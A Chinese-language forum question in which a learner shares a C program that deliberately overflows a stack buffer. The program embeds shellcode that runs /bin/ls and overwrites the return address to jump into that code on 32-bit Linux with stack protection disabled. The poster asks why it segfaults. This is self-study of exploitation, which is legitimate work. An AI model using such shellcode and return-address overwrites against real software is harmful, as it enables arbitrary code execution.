我正在尝试在以下非常简单的程序中造成缓冲区溢出:
#include <stdio.h>
#include <stdint.h>
void badf(int n, char c, char* buffer)
{
char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff,
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c,
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes
// Overwrite Base Pointer
//mycode[37] = 0x29;
//mycode[38] = 0xf4;
//mycode[39] = 0xff;
//mycode[40] = 0xbf;
// Overwrite Instruction Pointer
// Using debugger, found mycode[] to be loaded in: 0xbffff42d
mycode[41] = 0x2d;
mycode[42] = 0xf4;
mycode[43] = 0xff;
mycode[44] = 0xbf;
}
void f(int n, char c)
{
char buffer[37];
badf(n,c,buffer);
}
void test()
{
printf("test");
}
int main()
{
f(37,0x00);
return 0;
}
我已成功地通过缓冲区溢出执行了test()
函数。现在,我正在尝试通过用mycode[]的起始地址覆盖指令指针来执行mycode[]。
这只有一半成功,程序跳转到正确的地址,在调试器中可以看到正确的机器代码,但在执行以下指令之前就会崩溃并显示分段错误(见截图)。
我正在尝试找出在执行“注入”代码之前为什么会崩溃。 我对这种东西相对较新,我理解分段错误意味着我正在尝试访问操作系统不允许我访问的内存?
(PS: 32位Linux机器,使用-fno-stack-protector
编译以便进行此类实验)
(如果需要更多信息,我将乐意更新帖子)